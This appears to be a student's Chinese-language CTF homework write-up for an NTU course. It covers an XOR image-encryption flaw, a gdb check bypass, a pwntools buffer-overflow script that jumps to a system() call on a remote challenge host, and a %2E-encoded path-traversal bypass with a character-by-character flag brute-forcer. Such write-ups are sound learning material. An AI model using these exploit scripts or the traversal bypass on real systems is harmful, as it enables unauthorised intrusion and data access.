---
# System prepended metadata

title: 2021 HW0 Writeup
tags: [NTU]

---

###### tags: `NTU`

# 2021 HW0 Writeup

R10922A10 郭泰佑
CTF Account： st9540808

> 所有用到的腳本都放在 code 目錄

## to bf or not to bf

解法: **`to_bf_or_not_to_bf.py`**

原本兩張圖片都經過 XOR 加密，每個 pixel 都會從 PRNG 取出一個隨機數做 XOR。經過觀察可以看到對於兩張圖片，他們每個 pixel 加密的數列都是相同的，因為是使用同一個 seed 初始化。

$flag_i$ 和 $golem_i$ 分別代表這兩張圖片的第 $i$ 個 pixel，$RNG_i$ 是第 $i$ 個隨機數，兩張圖片做 XOR 就能消掉隨機數了。

$$\begin{aligned}
(flag_i\ ⊕ \ RNG_i) ⊕ (golem_i\ ⊕ \ RNG_i)\\
= flag_i\ ⊕ \ golem_i
\end{aligned}
$$

最後可以看到 flag 字體烙印在 golem 上。

```python
golem = cv2.imread('golem_enc.png', cv2.IMREAD_GRAYSCALE)
flag = cv2.imread('flag_enc.png', cv2.IMREAD_GRAYSCALE)
h, w = golem.shape
for i in range(h):
    for j in range(w):
        golem[i][j] ^= flag[i][j]
cv2.imwrite('test.png', golem)
```

## XAYB

這一題我先用 IDA 列出程式流程，目標就是用 gdb 除錯時可以跑到 下圖中**紅圈**處那一個程式流程，因為那一格有印出 **"BINGO!"**，所以推測是跟使用者成功猜對有關。之後修改特定的暫存器就能繞過 5 個數都是正確的檢查，就能順利取得 flag。

![](https://i.imgur.com/ln8JMJU.png)


## Arch Check

解法: **`arch_check.py`**

這一題是很簡單的 pwn，一開始看到 NX flag 是開啟的還以為是要用 ROP 解，找 gadget 找了好久最後用 `strings` 檢查執行檔才發現裡面已經有 `system` 了，而且用 `objdump` 反組譯又知有函式幫你執行 `system`，所以只要跳到這個函式即可，就能成功 get shell 了。

```python
# $ find . -name "flag"
# ./home/arch_check/flag
# $ cat ./home/arch_check/flag
# FLAG{d1d_y0u_ju5t_s4y_w1nd0w5?}

from pwn import *

binary = ELF("./arch_check")
system = binary.plt['system']

binsh = 0x7fffffffe48f
pop_rdi_ret = 0x00000000004012c3

print(pop_rdi_ret)

payload = flat(
    ['a'*40, pwnlib.util.packing.p64(0x00000000004011dd)]
)

conn = remote('up.zoolab.org', 30001)
conn.recv()
conn.sendline(payload)
conn.recv()
conn.interactive()
```

## text2emoji

解法: **`text2emoji.py`**

這是我第一次解 web 的題目，找可以用的解法就花了不少時間，觀察用 express 寫的伺服器，要 GET 的 URL 位在我們可以存取的上一層，所以勢必得用 `..` 在 URL 中。

最後我看 [orange tsai 的簡報](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)才知道跟 URL Encoding 有關，必須用 `%2E` 取代 `.` 繞過檢查。 

可以看下圖查看我使用 Brup 成功 GET 到 lookslikeflag，但這又遇到一個問題，request 只會回傳子字串是否存在 flag 中，所以我另外寫一個程式 **`text2emoji.py`** 一個字一個字試出來，就能成功得到完整的 flag 了。

![](https://i.imgur.com/iN3cy4m.png)

```python
# https://stackoverflow.com/questions/3856693/a-url-resource-that-is-a-dot-2e
# FLAG{3asy_p4th_tr4vers4l}

import requests
import json

possible = "0123456789abcdefghijklmnopqrstuvwxyz_}"

# data = {"text": "%2E%2E/looksLikeFlag/user?flag=FLAG{"}
# r = requests.post('http://splitline.tw:5000/public_api', json=data)
# res = json.loads(r.content.decode('utf-8'))
# print(res['looksLikeFlag'])

curr = ""
while 1:
    for c in possible:
        data = {
            "text": "%2E%2E/looksLikeFlag/user?flag=FLAG{" + curr + str(c)}
        r = requests.post('http://splitline.tw:5000/public_api', json=data)
        res = json.loads(r.content.decode('utf-8'))
        if res['looksLikeFlag']:
            curr += str(c)
            break
    print(curr)
    if c == "}":
        break
```
